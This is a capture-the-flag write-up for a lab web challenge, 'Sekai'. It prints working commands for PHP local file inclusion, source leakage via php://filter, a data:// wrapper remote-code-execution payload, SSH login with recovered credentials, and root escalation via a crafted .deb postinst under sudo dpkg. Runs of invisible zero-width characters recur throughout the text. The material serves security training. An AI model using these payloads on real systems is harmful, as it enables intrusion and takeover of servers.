← Back to Writeups
CUSTOMMediumWeb

Sekai

XESXOR9/10/20263 min read
#web#custom#medium#lfi_via_include_with_extension#php_filter_source_leak#data_wrapper_rce#access_log_forensics_by_respon#sudo_dpkg_privesc#linux

Sekai

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-03 | Status: Solved Techniques: lfi_via_include_with_extension, php_filter_source_leak, data_wrapper_rce, access_log_forensics_by_response_size, sudo_dpkg_privesc

Summary

Task: Multi-stage challenge — PHP web app with LFI via include(), SSH access, and root privesc. Solution: LFI with php://filter to leak source, data:// wrapper for RCE, extract SSH credentials from interleaved access log entries by response size, then sudo dpkg privesc via malicious .deb postinst script.

Sekai — Hackerlab

Description

Sekai (世界) — Под маяком всегда темно

English summary: A multi-stage challenge with a web application (Apache + PHP on port 28990) and SSH (port 28992). The web page displays Japanese text あなたと私はこの世界変えるでしょ ("You and I will change this world") with a sakura image. The title "Sekai" means "world" in Japanese, and the subtitle "Под маяком всегда темно" means "It's always dark under the lighthouse" — hinting that something is hidden in plain sight. The flag is split into two parts: one in /home/jack/first_part (requires SSH as jack) and one in /root/last_part (requires root). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The challenge has four distinct phases:

  1. LFI Discovery: The ?action= parameter feeds directly into include($action.".php"). Only http/https strings are blocked — all PHP wrappers (php://, data://) remain available.

  2. RCE via data:// wrapper: phpinfo() reveals allow_url_include = On with no disable_functions or open_basedir. The data:// wrapper allows direct code execution.

  3. Access Log Forensics: A hint file from user jack says "What the fuck happened to the web log?" — pointing to /var/log/apache2/access.log. The log contains character-by-character exfiltration via ?char=X requests from localhost. Response sizes alternate between 123 and 112 bytes, encoding two interleaved streams: the real password and decoy noise. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. Privilege Escalation: User jack can run dpkg as root without a password. GTFOBins documents the technique: build a malicious .deb package with a postinst script that runs as root during installation.

Solution

Phase 1: LFI → Source Code Disclosure

The web app uses a classic LFI pattern with appended .php extension:

php
<?php
if (isset($_GET['action']) && !empty($_GET['action'])) {
    $action = $_GET['action'];
    if (strpos($action, 'http') !== false || strpos($action, 'https') !== false) {
        echo "Hacker detected!";
        exit;
    }
    include($action.".php");
    exit;
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Leak the source code using php://filter:

bash
curl "http://TARGET:28990/?action=php://filter/convert.base64-encode/resource=index"
# Decode the base64 output to get index.php source

Phase 2: RCE via data:// Wrapper

Confirm allow_url_include = On via phpinfo, then execute commands:

bash
# Confirm RCE
curl "http://TARGET:28990/?action=data://text/plain,<?php+system(\$_GET[c]);+?>&c=id"
# Output: uid=33(www-data) gid=33(www-data)

# Enumerate filesystem
curl "http://TARGET:28990/?action=data://text/plain,<?php+system(\$_GET[c]);+?>&c=ls+-la+/home/jack/"
# Found: first_part (owned by jack, not readable by www-data)
# Found: for_engineering_department.txt → "What the fuck happened to the web log?"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Read the access log
curl "http://TARGET:28990/?action=data://text/plain,<?php+system(\$_GET[c]);+?>&c=cat+/var/log/apache2/access.log"

Phase 3: Access Log Analysis → SSH Credentials

The access log contains character-by-character data exfiltration from localhost:

127.0.0.1 - - [20/Mar/2023:12:00:00 +0000] "GET /?char=j HTTP/1.1" 200 123
127.0.0.1 - - [20/Mar/2023:12:00:02 +0000] "GET /?char=1 HTTP/1.1" 200 112
127.0.0.1 - - [20/Mar/2023:12:00:04 +0000] "GET /?char=4 HTTP/1.1" 200 123
127.0.0.1 - - [20/Mar/2023:12:00:05 +0000] "GET /?char=b HTTP/1.1" 200 112
127.0.0.1 - - [20/Mar/2023:12:00:06 +0000] "GET /?char=c HTTP/1.1" 200 123
127.0.0.1 - - [20/Mar/2023:12:00:08 +0000] "GET /?char=x HTTP/1.1" 200 112
...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key insight: response sizes alternate between 123 and 112 bytes. This separates two interleaved streams:

  • Size 123 (real data): j, 4, c, k, j, 4, c, k, j, 4, c, k → j4ckj4ckj4ck
  • Size 112 (decoy noise): 1, b, x, c, 9, f, 2, p, 7, z, 2 → garbage

SSH login with extracted credentials:

bash
sshpass -p 'j4ckj4ckj4ck' ssh jack@TARGET -p 28992
cat ~/first_part
# CODEBY{M4Y_P34C3_

Phase 4: Privilege Escalation via sudo dpkg

bash
# Check sudo permissions
sudo -l
# (ALL) NOPASSWD: /usr/bin/dpkg
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Build malicious .deb package (GTFOBins technique)
mkdir -p /tmp/evil/DEBIAN

cat > /tmp/evil/DEBIAN/control << EOF
Package: evil
Version: 1.0
Architecture: all
Maintainer: x
Description: x
EOF

cat > /tmp/evil/DEBIAN/postinst << 'EOF'
#!/bin/sh
ls -la /root/ > /tmp/root_ls.txt
cat /root/* >> /tmp/root_ls.txt 2>/dev/null
EOF
chmod 755 /tmp/evil/DEBIAN/postinst

dpkg-deb --build /tmp/evil /tmp/evil.deb
sudo /usr/bin/dpkg -i /tmp/evil.deb

cat /tmp/root_ls.txt
# Found /root/last_part: REDACTED}

Combined flag: CODEBY{M4Y_P34C3_ + REDACTED} = CODEBY{REDACTED} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍